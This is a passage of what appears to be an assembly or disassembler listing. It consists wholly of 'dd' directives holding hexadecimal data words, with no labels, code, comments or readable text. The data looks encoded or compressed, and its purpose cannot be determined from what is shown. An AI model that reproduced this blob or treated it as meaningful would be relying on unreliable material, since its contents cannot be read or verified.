0E9A918CBh, 108AB024h, 7B267280h, 0EE839DBCh, 9A5700CAh dd 0D9215582h, 0FF60BF8Ch, 0C9C52A78h, 58F700E9h, 9BE778CFh dd 0DD00D7C4h, 0AED92969h, 3043C7A2h, 0C70CC6Ah, 4D7922F2h dd 761A142Ch, 24005C17h, 1F8AB618h, 279C3363h, 880087A8h dd 0E4E0400Ch, 10D3856h, 21E12C32h, 0CC84956Ah, 6F00C076h dd 6851F7F5h, 1DB9BE86h, 0C01F99A3h, 80FD9501h, 0C900A067h dd 0DEECAAE7h, 27E2DF8h, 0E4381041h, 4863759Dh, 80C25FA9h dd 0C13509A1h, 989884ADh, 67A1584Eh, 0E11450h, 23805FFEh dd 17A4C321h, 83CAE600h dd 789826AEh, 8A270DC0h, 20489B1Bh, 0D60C6EABh, 0A8AC4A91h dd 0F4C600CCh, 16A13405h, 8500C4A5h, 0AF3A7817h, 12CB5D8h dd 3DED38ACh, 27BB1DEFh, 4F0610E0h, 0B0BA57C0h, 783815EEh dd 69B0BDAh, 1C8C8A7Ah, 0D28D2900h, 0D8FA99FFh, 887968F8h dd 0DC13C52Ah, 0F276BE01h, 486A5056h, 9292E0BAh, 0E61002C2h dd 36C0EEBBh, 0CE489111h, 0FCD88A28h, 90AA3362h, 7E432A08h dd 8080FB5Ah, 479C8D76h, 560EEECCh, 14A8C37Bh, 1D1300C8h dd 0CD5B7573h, 0CCE4EB03h, 90350A51h, 29C963Ah, 2C826ACBh dd 0F4B76C49h, 370F6ADh, 7D1B6907h, 0E9AC7A97h, 58DC00F7h dd 283CC961h, 0D50C73D3h, 0D0BA1296h, 5DBD4016h, 7F513200h dd 0B773AFF4h, 3DDE0FA3h, 6E432441h, 7800800Bh, 0A8441E4Eh dd 0CC629Bh, 0E7377A9Ch, 0C0FF15CFh, 2B0F3200h, 170994A9h dd 74870062h, 8144DC54h, 0C0263FD6h, 0DB0184ECh, 52A098B5h dd 811DC181h, 80C973AEh, 93CED5B0h, 705820Eh, 1369D1F5h dd 0D2C7606Ah, 0B0287B5Eh, 0FE0194ABh, 0B3C20D6h, 0DC34AF2Bh dd 2AE688h, 0A7DD16FDh, 0AAC565E0h, 1C98510Ch, 476780Fh dd 0A3979D03h, 7F88C06Bh, 0D1A2603Ah, 8B1FD418h, 0A3D2A62Ch dd 688E4900h, 485069F8h, 3F032573h, 0ED51CDC5h, 0D83AC186h dd 0D310492h, 0C080484Ch, 0F2B664Ah, 0C0F9F0DCh, 0A3023660h dd 0B90CCF0Bh, 0B0571BA6h, 44065831h, 0EB560100h, 93079C3Eh dd 4D5A4539h, 0EA1F8720h, 6DCAA880h, 0FA1721C0h, 382E09h dd 30F8273Bh, 2F060A19h, 0BCC00469h, 0B7EC8787h, 5A77F0E8h dd 0DB3D8E6Bh, 60B31D16h, 3A5000BCh, 0E5AFC4F0h, 586C039Ch dd 0E00CE756h, 39514D88h, 2AF0BA00h, 0ADFDA602h, 0BFB20185h dd 267F57DBh, 88CEC8D5h, 10F0C800h, 0A981AB48h, 650C003Dh dd 0B4B59080h, 244AACD3h, 0D897F480h, 34870014h, 42531154h dd 0E000ECF8h, 21688217h, 171F3F2h, 702BC2AAh, 800A320Ch dd 0F6113B78h, 3D6379Fh, 906F6263h, 0FC0B9E4h, 0D1027B25h dd 7202E151h, 0F0E055F9h, 5E1604A4h, 0FA03AB5Fh, 70035B33h dd 8DD20010h, 494E2862h, 0F049B71Bh, 51BF0080h, 0D9129522h dd 0C8BCAB87h, 88B711h, 7F2043CBh, 0A8B28EE7h, 8166BA00h dd 0DCE4CEA3h, 0EA375CF9h, 89D2D401h, 0CB9DF758h, 76B8DFDBh dd 82002AA7h, 5AF1237Ah, 777007A0h, 0F7B41F1Ch, 8FBBC068h dd 441F293Bh, 1BA04A0Fh, 0D6C94154h, 98280A3Dh, 0E1064700h dd 0ADB12241h, 45C6D48h, 9FED3730h, 0D3D008D7h, 3B765233h dd 5C09095Fh, 0A18084h, 708F8A2Ah, 0A6780D7Dh, 40E76324h dd 0B0671B16h, 3F526030h, 50A1FA1Ch, 4A80FDh, 0C0B9A892h dd 0F3E9ABC1h, 3FB6510Eh, 1A248457h, 0E7531CD3h, 8721F9D0h dd 0DA9400C6h, 3074C14Dh, 7A008098h, 3F06BE0Dh, 0AEA0Bh dd 0FADA53D0h, 41E0C9C2h, 3902A02h, 805ED448h, 5CC3ECC0h dd 0B7500096h, 0F1874055h, 0D8044E04h, 0F4E70598h, 22D6B080h dd 47250138h, 6D714B40h, 4831C460h, 2D39F804h, 16C24106h dd 2A2066FCh, 0A8C3AAh, 4CBC0636h, 0C16D835Fh, 73671F0Ah dd 478398C0h, 0A8ED26CFh, 589132E7h, 3074C68h, 0C029F224h dd 74FF4EFBh, 304DF4Ch, 125135A2h, 0FAD7E032h, 0BE7B002Bh dd 0B2E4226Ch, 0B97185FDh, 0ECF47101h, 73441A9Fh, 0FAD69430h dd 0E95100C9h, 7CBCA8EDh, 381DC6CEh, 106690FDh, 5836A86Ch dd 2AC05C05h, 0BF4125D2h, 79D80A00h, 9F648C01h, 27E70FCBh dd 0F5E0FEB2h, 92EF9437h, 0C3B3D00h, 6A02B639h, 0B3410043h dd 27DB7D9Dh, 3E602889h, 0B18DBE20h, 0D3E0C0DEh, 214782D1h dd 7927FA00h, 0E46BAED5h, 30611CD4h, 1AF7C0E8h, 299BA15h dd 0FD609104h, 34A285B9h, 0C79389C7h, 1A3D051h, 3EB05785h dd 99D78E09h, 0AAF0B8C1h, 36F9C9F1h, 9A8C8CA5h, 0CE2700D8h dd 13D93ACAh, 167600DFh, 5AC6B0E3h, 439D5D1h, 736402DEh dd 0C0D86E55h, 88C57574h, 9F004F53h, 7F99D5EDh, 599636B9h dd 338700B5h, 0E8328284h, 2729BCB0h, 4224E202h, 0E5D946E4h dd 54450688h, 0E87A116Dh, 0BF76930Eh, 55CA1CB4h, 6D838C1Ah dd 0AD8DB50Bh, 34C5B012h, 74530891h, 0C560A1D1h, 39E8C2ECh dd 4D4058E6h, 0FE00786Fh, 2414080Fh, 0C85891Bh, 54B8CC03h dd 73008266h, 0FB9C315Eh, 1DD8C8h, 9DB5BEC5h, 0B3C622D1h dd 705B25h, 0F9464434h, 144D0013h, 668FB46Fh, 0E000FFF2h dd 0B858F463h, 2D62DA5h, 0DABB3E33h, 9C4008F1h, 72002A8Fh dd 95048B19h, 0B2940A59h, 0B7B91280h, 842403C4h, 0B0008947h dd 9BD10824h, 0EFBCDC2Fh, 0E27CB30h, 76020F09h, 464530C1h dd 344087C5h, 0C7018B2h, 7103Fh, 0E952FC6h, 7C8BBDBAh dd 0A2238F00h, 0DAD7E99h, 0F2F8EAh, 0BC51B8B1h, 6A98DAC6h dd 0E2BDB600h, 0CAF52045h, 62A40029h, 0ED0C2D9Dh, 0D6C23F3Eh dd 0E0315DC7h, 3C058614h, 5680439Ah, 0E703CFE6h, 72003F76h dd 0A121D735h, 196B0Ch, 4A02D4DBh, 0FF24B5F2h, 5355140Dh dd 17EC115Bh, 7DE08Ch, 0D32904B6h, 6D595F71h, 2303C0B1h dd 0B0CC16B5h, 1F474450h, 0C7FBE2E4h, 0A041BD04h, 7D3F98A6h dd 0CD936703h, 0D0E61857h, 0F420951h, 0D67C2CB2h, 724A3C00h dd 0D00547Ah, 0F4824014h, 2362580h, 0DEF795C4h, 0CC800342h dd 0CA7DD054h, 700D198h, 6B31338Eh, 798D75Ch, 0F8FC4CACh dd 17FEE024h, 8E326541h, 0C29C2057h, 3EE460DFh, 0F8BE3C4Eh dd 0A65F100h, 6F2F0CFBh, 15D0C900h, 3FB87BA4h, 8DE2004Dh dd 9E189760h, 0FA006889h, 5B8422F4h, 3C26C0Bh, 47368574h dd 1B88F7C6h, 0D7F03009h, 10E7F300h, 98F9D97Eh, 27D60071h dd 0C29063DCh, 3600260Ah, 0DE601429h, 36DDD85h, 0FB2FD825h dd 280112BFh, 0C8CC063Ah, 0F8D49198h, 0DC8950EFh, 0CB8D00B1h dd 732BEE13h, 927EE4DEh, 913F18E0h, 662F8062h, 241A7753h dd 30E900A8h, 59D60BA4h, 4800C7BDh, 674E0573h, 869D2Bh dd 0CFE86F58h, 5469B606h, 8039FE00h, 24614D5Dh, 2B7EA4h dd 0F6262807h, 1E480479h, 8C76E100h, 86B0C366h, 9EFCF1h dd 6E711F40h, 118E5EF3h, 7A4D10Eh, 9B166027h, 0DB8FA6h dd 746B77EDh, 0A43BD1Fh, 0DD274500h, 91675C6Fh, 525601E6h dd 660D9FD1h, 268C70CFh, 12A33200h, 8521405Fh, 0C88001D7h dd 0DBC0FBF8h, 9B35E417h, 0DFD36A0Fh, 56AE00DEh, 1C12EBh dd 683D3189h, 0A8D1B486h, 81327500h, 4D7F6513h, 0C0CB4CB8h dd 0E2191D05h, 0BE4CA04Bh, 0E61F1200h, 6705790Fh, 8BE03CCCh dd 0F8360407h, 0D3A110BCh, 4800AB97h, 18091752h, 5C5053FEh dd 0C62C8167h, 56B500F5h, 0D6C3776Bh, 0D224D873h, 9B806C9Fh dd 0B9210A5Eh, 0CB5A0067h, 0C7FF0FB1h, 3F001869h, 606A8D3Bh dd 2C83ABDCh, 1C07341h, 4F3215F4h, 65B080B4h, 0F2934A39h dd 2BD10F2Ah, 9780374Dh, 49DEB4FEh, 0ACF0AB7Dh, 46333B00h dd 994B59A9h, 5ED002B9h, 375D5116h, 69AFE6C0h, 141B8D00h dd 6B4BE542h, 0E622C6Fh, 0FF310065h, 0C25D86DAh, 8B727002h dd 0E0CB4B28h, 0F0241EF8h, 0DF1000FFh, 2257504Fh, 0FC2C0381h dd 111D9164h, 0F69F5A47h, 0BE83C5B5h, 0D41A155h, 0CDC420h dd 7ADA72B6h, 24D0A94Ah, 0C5E9F700h, 8B911DFCh, 0C8490069h dd 8986D466h, 10FE379Fh, 0FEB5D30Fh, 467500CDh, 0F781ACh dd 0B724F0B1h, 7D06CC2Ah, 0E789AD03h, 0A1808ED1h, 0F9E06411h dd 233E00D6h, 5A368148h dd 0BD003213h, 588DC4F1h, 1FD32508h, 80FB101Ch, 0E149D299h dd 0F40033DAh, 0E513582Dh, 98C73D1h, 5F2179B6h, 353CF000h dd 4001B37h, 31A77C1Fh, 0DC76CBh, 0AFE82E5h, 5DAC15E8h dd 52A41D01h, 0FA2462A0h, 1D6FDFCh, 0DB214664h, 0C4946811h dd 0ABEEFBACh, 10731030h, 0DEF683h, 0E7B303EEh, 9B0897A1h dd 47ECCB00h, 0AA5E4E48h, 46C92635h, 57A0002Ch, 915BCE73h dd 15B52Eh, 11954200h, 0BAE4CFD2h, 0CD140130h, 0D99FA945h dd 10A0CFF0h, 1277ECEDh, 493C6100h, 0E021E65Ah, 1655EEEEh dd 0A8EA6E78h, 3B6A0066h, 0B3405CB5h, 9BE9039Ch, 4EB2733Dh dd 690D18C0h, 7AAA3103h, 2B5B0h, 7872EF71h, 35583641h dd 40AFC00h, 0E8FA5C8h, 6CE5E81h, 20484F8Ch, 41D0C72h dd 1B81460h, 57E125C7h, 2BF46Fh, 61318399h, 35001179h dd 0B6C15C4Bh, 0BDFD8Eh, 64BBDD0Eh, 0C4D2586Ch, 0A25259C1h dd 218028E9h, 0B64492Bh, 327777B7h, 33A5CC03h, 0B29250Dh dd 533D4E68h, 3DFD4C8h, 56CD491Bh, 60349338h, 2D855970h dd 0B8004A30h, 9525C572h, 0D4D998h, 0F2DECDBBh, 7FE81232h dd 88C21600h, 3353C4E4h, 5B822473h, 5C778CDCh, 0E5007E69h dd 76BB8D51h, 0E7A165h, 87CFEA74h, 779E9DE4h, 6C90FE00h dd 0F9663ADh, 166D3F45h, 0D8F14A18h, 890DAE58h, 50EF752Dh dd 67E8E0h, 0BB4AA48Fh, 0C5A0EC7Ah, 0E3757E18h, 1D3431h dd 6FD9737Bh, 43DB394Eh, 72DD3505h, 0DC492982h, 58D019Eh dd 76D4F54Ch, 188400AAh, 0FD582FDBh, 94A8C2A9h, 0F9A0012Eh dd 18987C6Fh, 87708903h, 0E09091FFh, 170CCCh, 9408639Eh dd 935BF03Dh, 598C3F03h, 0D0D27095h, 605D23B4h, 181D79FAh dd 0BE0015ECh, 748CFB05h, 7AB3B33h, 63AFB4A3h, 0E940A625h dd 9022590Eh, 79098555h, 2703AC5Fh, 0E5FEA78h, 92DE1551h dd 0C1006E69h, 0C3EDE6AFh, 0B3948000h, 6657B4F6h, 28DF0A85h dd 81900B7Fh, 10CADD0Ah, 5CBFEC96h, 0D9277500h, 0A89317B2h dd 0F237ABCh, 0A79F7D43h, 0D660D4AEh, 4D6BD068h, 651E0F05h dd 0FC00C067h, 4E54E3F8h, 0B0BB0271h, 8013D351h, 0C6023489h dd 19C060D2h, 0C03B34EAh, 0CB290079h, 0AC8D7657h, 0C5E73D30h dd 0B8107315h, 0D0D89500h, 0A96104C4h, 0F9F1AF50h, 0F613D702h dd 0C949994Eh, 93C80E64h, 0DC2B1E81h, 3455CEC3h, 836808B9h dd 8FA29921h, 8BFC889Ah, 10B27D7Bh, 0F91D13h, 3E2334B0h dd 0C651F2Dh, 0E475F3E6h, 2094EB9h, 134F9AE1h, 8BC2D0B4h dd 0DAAF07AAh, 8C3D332Ch, 0AC921508h, 8AF80F1Fh, 0D9DD5347h dd 51C09427h, 677295Ch, 83812761h, 340C8069h, 1817B8F2h dd 1FBD0AE8h, 80F83280h, 657552EEh, 350C4C6Fh, 804A7CCh dd 0E799C0EAh, 71BC484Ah, 86F35200h, 0E8DB2854h, 0E1BD06D9h dd 58EDD4F1h, 3D85790Fh, 8150E088h, 91F111Bh, 0E59FF7CAh dd 625EA200h, 680087E3h, 9DCF2F4Dh, 95A792h, 9FB7FE83h dd 53F57CEFh, 466ADA00h, 2792B880h, 0E913004Eh, 0EEDC4F5Ch dd 0DD744014h, 0D215E63h, 2B55D019h, 7BEA03ECh, 0F460C8BEh dd 7C327E90h, 0AC9EA100h, 44F5EEA8h, 0B8755074h, 804700D0h dd 0CBF195B2h, 10C192EAh, 3B9AC0D8h, 0E0B8E70h, 0E21697Dh dd 0AE21018Ch, 149AB500h, 4D3D1217h, 0BE781C8Ch, 0E1610670h dd 0D7017063h, 796E0784h, 47E13315h, 0DDD8A9B2h, 11143D30h dd 88D75CD6h, 8C68807Fh, 4585B513h, 0A2972A0Bh, 2ABFF86Fh dd 4694328Bh, 134F01C3h, 0DD475C84h, 1A88450Ch, 26FF416h dd 21440B31h, 0EC605442h, 50C15391h, 94024546h, 8C089044h dd 8184C4FDh, 58B1514Bh, 0AA88058Ch, 3D9A00C9h, 42617E3Eh dd 9126F2C4h, 0EC0058FAh, 4E4FCDA4h, 7F402A75h, 2B670088h dd 0C6ACCBEBh, 94CE543Eh, 229EE0FFh, 3A78BC5Eh, 4A800134h dd 0D1963250h, 0AC185B47h, 0A207776h, 0E360059Ah, 0C3FD2855h dd 2B98899Ah, 2A002474h, 2DB7AE59h, 0E0C31Bh, 967D314h dd 136C5C2h, 96680E0Fh, 6F10C004h, 0B071A6h, 0CA932B40h dd 8528B292h, 5E2A7200h, 0D9200251h, 99AC00A8h, 625B3ECFh dd 0BC0EC396h, 0E08C1D81h, 0FD5EE5C4h, 87000EFh, 4BC925FAh dd 0F5485250h, 0FB04424Ch, 0D7B878F0h, 314B1000h, 0A814A3Bh dd 0F539013Eh, 3495505Eh, 74318027h, 0A3666397h, 0F8320CEFh dd 710877CBh, 17303060h, 7B063C7h, 0FFDD6ABh, 683E36C8h dd 5777B50Ch, 1B64925h, 8BDED98Dh, 0D4FA05E4h, 0F0CE637h dd 30234095h, 0A1756008h, 7CEA8693h, 68DD8F00h, 0F90A4890h dd 2A7F0044h, 54D578AFh, 7B184EA2h, 0EE601501h, 6A820935h dd 0AC21494Ah, 0CC39C94Ch, 8C008D03h, 0EC72E91Dh, 3B8058D9h dd 0C1E75377h, 7826C6C3h, 0CC99B00h, 0FAAE4667h, 94490180h dd 0FEEE3C5Ch, 0D2F36089h, 6CE19200h, 4B7053Eh, 0A8FF55DBh dd 0BA5C1180h, 0C29691Ch, 0C1FCB180h, 10854C21h, 0E1BF77h dd 0B9E2131Eh, 7ECE4E0h, 35AF2FC8h, 834EE0A1h, 0BD066468h dd 4D0ED93Bh, 8E77D1h, 0AB3DEACDh, 1EB3AF85h, 61514960h dd 0C31CABBh, 0EB3EC1D7h, 0E00021A4h, 0AD83FFD6h, 0C0E22ED9h dd 0ED4255B8h, 0EC30BF82h, 0A7AAF975h, 407F00A8h, 73CAC28Ch dd 0F400B2FAh, 9525EB72h, 52A9BA44h, 5E0094E5h, 0E41CED7Ah dd 1EF4A0F2h, 86E6B500h, 23D7506Fh, 65D20025h, 0F16E9B33h dd 0B00214AAh, 4A37DF0Bh, 241C4456h, 804869C3h, 0D2AE2668h dd 27001EC4h, 0A41B5AF2h, 1CA64D71h, 0C0E2C886h, 0FB37E92Dh dd 1360B6FCh, 0BA325589h, 0B18D0165h, 0AC4990C8h, 0AE088CBFh dd 3420F7h, 0DC0165A3h, 283E427Bh, 13E4E50Ch, 14804130h dd 0B4AAF7ACh, 0FA80573Bh, 9B41D30Ah, 3924A40Dh, 7E84645Fh dd 9001508h, 8C23FDCEh, 84CD2600h, 6CA21383h, 0AE90093h dd 0EDCF67CAh, 0BD005E6Eh, 64FFCDF9h, 30A226BAh, 755165ECh dd 1C01AB41h, 3F990AB3h, 89512BBh, 70018854h, 4FB7AC09h dd 0B557C41Ch, 0B22D9406h, 0A0D9F704h, 40389528h, 77129D39h dd 14462356h, 60D0B034h, 0FA411131h, 0A4903C04h, 0F081B102h dd 41FE6C4Dh, 91184FF4h, 0A35C6308h, 4067C4BFh, 6E6381E1h dd 0D9FE0F7Ch, 45A08EC2h, 40505F05h, 0A63F24A4h, 0E7A31163h dd 0E2807288h, 0A6A5638Eh, 0A359FA75h, 44B3F20Ch, 0D9512668h dd 0B263801Ch, 384A4C90h, 8EC10800h, 0D5032F6h, 0C1E1DD22h dd 0EC8A91FAh, 0B8A0504Bh, 0C0001D59h, 0C2947F3Ah, 1F6BB2A6h dd 803E928Bh, 5CE250F0h, 0D92419D6h, 16A8E864h, 25109B60h dd 600DF0A5h, 2B4C613Bh, 0C00A462h, 769279C9h, 60FDB763h dd 850F3C57h, 0FE4CB10Eh, 6EAAB004h, 2ABC922Dh, 90F64Ah dd 507A3654h, 41DE0460h, 31516B00h, 0F1F740D8h, 0B04E0420h dd 8CCD63ECh, 0A400DCF0h, 577BB695h, 0E28461h, 2825214Eh dd 0CC3B1350h, 8FC7FF00h, 69314A03h, 0A0E355BDh, 0C9804CE1h dd 8DAF39DEh, 0BD0F42AEh, 0A0090581h, 0A76934FEh, 40DD2A51h dd 23DC00A0h, 0B7E303F7h, 0E8E6DB0Eh, 0AE0373FAh, 130DB9B1h dd 997A7Ch, 1D113E54h, 9D72DEC3h, 0BFBDCD00h, 0FD5836CFh dd 6B600021h, 14CB8999h, 0F8747E83h, 3499580h, 122D0725h dd 4FCD3E51h, 203AA0C4h, 74E04280h, 900ED0Eh, 17D8B929h dd 0C79EBD9h, 264551A3h, 65148128h, 16D4DA4Bh, 6700CF0Ch dd 7DEC9C20h, 162DE0DEh, 5399AB1h, 361374h, 19437A5Ch dd 641D37C9h, 0B5477930h dd 8880B3F1h, 752E825Eh, 5F9E01E5h, 0D5DEF4D6h, 4AA4503Ah dd 0E038AA70h, 0C0CA8023h, 0FF684C24h, 0DE4F00F9h, 9428BD5Fh dd 5A00ED5Eh, 37CB553Fh, 7E65705h, 395D161Fh, 75892CE5h dd 22C0D50h, 96B2B113h, 0EE84B800h, 2353B91h, 6E881B8Dh dd 0A466A955h, 0A44C6D1Ch, 0A6B549B1h, 9E01660h, 0E4AF55FCh dd 68839892h, 0A3919B8Bh, 8567D004h, 0C45D7704h, 0D88826D5h dd 0BB6308AAh, 80C2C7A3h, 0B2E6003Dh, 3A19A063h, 0F2B95EE5h dd 0F8D1BCD4h, 9B4A2C05h, 602113A8h, 0E2A35640h, 0B00ACD33h dd 4894B424h, 1DC5C102h, 81C6079h, 7D810062h, 0CB5A129Bh dd 0EFF2D4DCh, 91210B9h, 0C0C71C08h, 2D6BE04Dh, 98573221h dd 0B69321FAh, 780384A0h, 797EC005h, 944028ECh, 70EB66E8h dd 7B340080h, 86929360h, 0C0D0EF17h, 84C32478h, 16628E40h dd 7B4B0019h, 8AE99C95h, 0B6006E5Ch, 0BBE8721Fh, 6AFA152h dd 0C40AF0A3h, 0A71D6933h, 5BC0764Bh, 557A1686h, 0F12E1367h dd 93BC005Fh, 538EC5DCh, 0EE455D04h, 22840DAAh, 0B3B2C840h dd 0FA28F2h, 344A5BCEh, 60186967h, 841E3700h, 7B044081h dd 108708FEh, 2B8D398h, 0B3BC613Ah, 0D40061E7h, 0A34C02F2h dd 0B55C3CC4h, 54C32821h, 7D0B9F00h, 53FB2A21h, 1528EE92h dd 8056CC0Fh, 0F83D0815h, 6B24505h, 0C8E3C0EDh, 47E458F1h dd 6B51E31Ah, 28101469h, 46E06A78h, 254A1680h, 6CFA6805h dd 20FBE032h, 36E01B92h, 0FF2B7603h, 94541EADh, 49DC88h dd 0FEDCB28Fh, 0D5155C33h, 725B2548h, 1F22D3Fh, 0A06621D2h dd 30210992h, 0DBC4745Ah, 5B70CC45h, 0AE854B03h, 0C0D93CEBh dd 2126A53h, 686B24E9h, 0DC90AA76h, 0C6004EF5h, 491F4178h dd 48F11458h, 0A380F434h, 78921129h, 694BFE04h, 88977BBEh dd 0ECC400DBh, 9FFAB0Fh, 37F7F319h, 1E907000h, 3006ED85h dd 24B288Fh, 61A33F58h, 2F61110h, 0FFA9CCF3h, 1F063F1h dd 0D7AFA238h, 0E1DB2143h, 0F9D6F8F6h, 99489A60h, 139D1B3h dd 3DBB453Ah, 48CD1510h, 5300B018h, 52717A81h, 0DF2C4C7Ch dd 92B580C0h, 0F7E17FCBh, 5781700h, 28FDA71h, 0D49E2E9Dh dd 23C704ECh, 7DB4C026h, 973910FDh, 283D80E9h, 4C6E67B2h dd 5CA0008Fh, 55A6F25h, 0C14DFFAAh, 0E36B0168h, 3586D265h dd 202C9C42h, 0AF61D47Bh, 34117A6Ah, 4A2BD0Fh, 64875FAAh dd 64A4C3A4h, 860512DFh, 0ADE70060h, 0B23282D4h, 0E8CABC00h dd 0EB98596Ah, 8AEE04FFh, 0C13E3160h, 84B565Ch, 6E8E0F9Eh dd 578B90F8h, 15E14C93h, 81D22152h, 12AB529h, 13FCD202h dd 99740054h, 0E81A6821h, 6F1263CDh, 0CC201F1Eh, 140EC85Eh dd 0FC22122Fh, 0CBC9B030h, 8879994Bh, 56C87F50h, 0D716DBFAh dd 980F3139h, 3BB605EAh, 0B47DE880h, 304FE12h, 3314FDD1h dd 0EFA0CA19h, 6C0F6420h, 81D2390Fh, 9E252846h, 914ACC70h dd 0C0A8246Ch, 6BC9B44Fh, 1B8B9A25h, 8CCA5CCh, 340D4CA9h dd 4C3BE010h, 11910928h, 0D4C8A0E8h, 12CF45BAh, 4289F4A9h dd 25ABCC3Ch, 0B6C13871h, 0BDF86278h, 0D85E62A5h, 4840964Fh dd 1000E07Dh, 7A12E2CDh, 2DE37DAh, 0C5B32493h, 78400FB5h dd 0E524E056h, 0BE849Dh, 26AA2AB2h, 2CA364FCh, 0A01268h dd 2FFA32DBh, 0BD54FE6Ah, 4879A628h, 561419C1h, 9983F6BEh dd 23134BEAh, 0FECAA90Ah, 6021F879h, 49DBC703h, 0F4A82C46h dd 590A1868h, 0FAE631B0h, 35906B54h, 504E8716h, 0AA34B000h dd 0C1F982DBh, 39376679h, 267C4890h, 295084ACh, 2D1AF23Ch dd 7F1DEE1h, 82F82284h, 0DA8D6B0h, 0B8E60840h, 764090C4h dd 0FF38E21h, 0D8C57D1Dh, 0BF384828h, 78A5EA18h, 0FC44A38h dd 3D2374E6h, 6BCE8880h, 81C0D7FFh, 2C99D37Dh, 31B960FCh dd 752E634Fh, 585CDB03h, 1420A02Dh, 1CC7F8A1h, 0ACA63400h dd 2ADB78AAh, 6CC2D52h, 108E23DCh, 0F6A50011h, 0B11FEB3Ah dd 0A22A4C66h, 7F3C8404h, 7AFA7B23h, 8AA9FC01h, 99C30DE0h dd 206E1080h, 3E887E4Ah, 710B4980h, 0D0D3604Ch, 23BE2190h dd 1347E51h, 1779194h, 29FDEDDEh, 2A9536D0h, 0C0A0430Ch dd 4BFD8478h, 0F492487Eh, 75158B02h, 0EA0E819Eh, 324C40Ch dd 90E356F0h, 100A27A5h, 0B0E1ADDAh, 0E10F7892h, 71EF7Fh dd 0B88213DEh, 0BE52013Ah, 32814A06h, 0CB488A3Bh, 5BF1400Ah dd 0A3A3E01h, 0A3B76A00h, 0A4257C67h, 9579809Ah, 0A1226B1Eh dd 0C8507512h, 644A4BACh, 10B154B0h, 20A57905h, 3A6CC4A1h dd 0DB4420BCh, 0F2407D60h, 335A73Ch, 0E2C88C7Fh, 0B04879F6h dd 51940810h, 7628BA6Ch, 40B4210Ch, 4E779D08h, 0EC184D08h dd 0F2514F1h, 0D3C02E53h, 0C47D7540h, 4202BD06h, 94575D0Ah dd 14D8C3F8h, 0FFF6BC90h, 0AAA83D02h, 98480410h, 90005615h dd 0E73181D5h, 7FFD83BFh, 40244B60h, 53B76D80h, 4A00A578h dd 153FD7C6h, 9F066E46h, 14002070h, 1AEC88CDh, 7BBE6F47h dd 4ED448F2h, 60613900h, 0A7DCDE52h, 9EE28D01h, 6A4CEDB9h dd 169CF2D0h, 15B7AA1h, 68FC611Ch, 4349F09Bh, 50E44148h dd 784E775Bh, 3EECCC46h, 0CC4D00F9h, 3BD5FB51h, 83053563h dd 0C59213F4h, 62DA8500h, 0FA4DD8h, 0E8FEB9A9h, 39FC67D7h dd 0FFBDB71Eh, 574A3EC4h, 9807B8A5h, 5C6DC3D0h, 0B6AA18E1h dd 628B687Fh, 0D1D6A900h, 4A15EBC0h, 0F31100EDh, 0AB274E3Fh dd 1400B3B6h, 0C92A83D2h, 7CA84A1Bh, 6DDC030Eh, 856F3F71h dd 3EC822F0h, 0D31E7407h, 0B4630EB3h, 0B62803CBh, 0B7196C5Ch dd 0E5D21800h, 573FB168h, 626100DEh, 304222AAh, 653A2EB4h dd 0F3209833h, 0F106B3A0h, 0A1923980h, 58214A91h, 0A4E74103h dd 0E0BC15C9h, 0AD1C8Eh, 0B39D3CB9h, 45946AA3h, 26287403h dd 31D132h, 71BCAB40h, 3305371Bh, 0CFB06D04h, 0FB81F803h dd 45C0B88Eh, 0BBF0E3h, 2066365Dh, 0C08AD9Ch, 1C21F07h dd 32010EE2h, 80513396h, 0E181D669h, 58637FF0h, 1949C45Fh dd 5111331Fh, 0CE22842Ah, 587006C3h, 11B5A731h, 0AC38C900h dd 0E4E005D7h, 0E994A1D2h, 7B51C41h, 0E695D457h, 0F9D48840h dd 9830139Bh, 0CDA00F19h, 0B180EFEDh, 0FB333A74h, 0C8722F01h dd 4BC42941h, 8F40D8h, 9A760FF0h, 36483F84h, 9C696400h dd 98D7A188h, 94495CCFh, 2DB4E303h, 9BA0EE74h, 4D00B912h dd 0AE7BB304h, 72FE6Dh, 0DA07D7C9h, 246A6776h, 0E26D800h dd 560C1F01h, 5CC20963h, 3480F261h, 1E2F4D94h, 8E622400h dd 0EBC80E23h, 1110189h, 33F0FFA4h, 1840BEAFh, 6195D09h dd 216E0A6Ah, 0F2F702h, 0FDE99D26h, 7503C29Fh, 0EB3487CCh dd 168AD8A6h, 38B01642h, 595B0C72h, 24000E79h, 0D88CC86Dh dd 7C4C01ADh, 639DB05Bh, 1EE121DCh, 0E851A9E8h, 72454707h dd 0A444620h, 0AD60E04Eh, 41CC53BFh, 2564C500h, 1077B9CAh dd 1136305Ah, 0EFE84329h, 5F879800h, 0CBDF8914h, 0B7AB043Dh dd 8090EB95h, 5AD7EA5Dh, 0C944F300h, 6A5E4048h, 9CDD54F5h dd 83960B5h, 9F4756A4h, 0CE0F9200h, 0DEA7FC6Ah, 238300F0h dd 0D6E76E6Bh, 14004993h, 3242B72Ah, 0AA8718h, 1C984EC4h dd 3FBC8827h, 10DCD40Fh, 0A86D2A51h, 0B2C94687h, 0BC06AF00h dd 5E4336Bh, 210E7808h, 40B2C1E6h, 4A3D1C86h, 1E0F9013h dd 803A027Dh, 76377A96h, 0B400931Fh, 0D809E3C0h, 3EDFC95Bh dd 2680D9FDh, 1FFAC855h, 0F4A81EACh, 20F6A95h, 45E43ABEh dd 9801DB5Fh, 4B22F559h dd 0FFF95080h, 231CCDDCh, 2CEC3B00h, 446D8E52h, 76380015h dd 77D322A4h, 20A73214h, 0C1CAA508h, 0D2403A6Ah, 90A888h dd 7A0B81CBh, 3492CF92h, 0E44C04F8h, 3D10006Ah, 0E51DDC02h dd 48DB3065h, 4E292B39h, 47D4E600h, 2D838F23h, 123B01DCh dd 0F9D82C79h, 26D85003h, 0EF7E1CAEh, 206C9000h, 40E49125h dd 5CF5493Eh, 0EF350500h, 0D13D50F0h, 0E818B40Ah, 0DED076h dd 66EE53B8h, 10F127ADh, 6E6DFF03h, 1F5D807h, 5A7B2629h dd 0E4D5AD4Ch, 19C02181h, 1225D3E7h, 8D8900AEh, 1F249E78h dd 82EE2842h, 77323F00h, 2D472C37h, 7C001F6h, 7A0E764Ah dd 5F9C58BFh, 15284E7Dh, 9C859855h, 4F103600h, 3D90C2h dd 5A06A3BBh, 0F768D18h, 70088A4h, 224C59C1h, 0E697BBEh dd 35CDCB5Ah, 90CC2440h, 0EB01E38Fh, 47D13AB0h, 4048BC7Ah dd 4D4E1C3Eh, 2CDCAB15h, 49203058h, 0F004F13h, 0BF2606C0h dd 3616875h, 6B667C20h, 4915725Bh, 8C7AB5h, 0E4FA4452h dd 8D7379h, 2F52A24h, 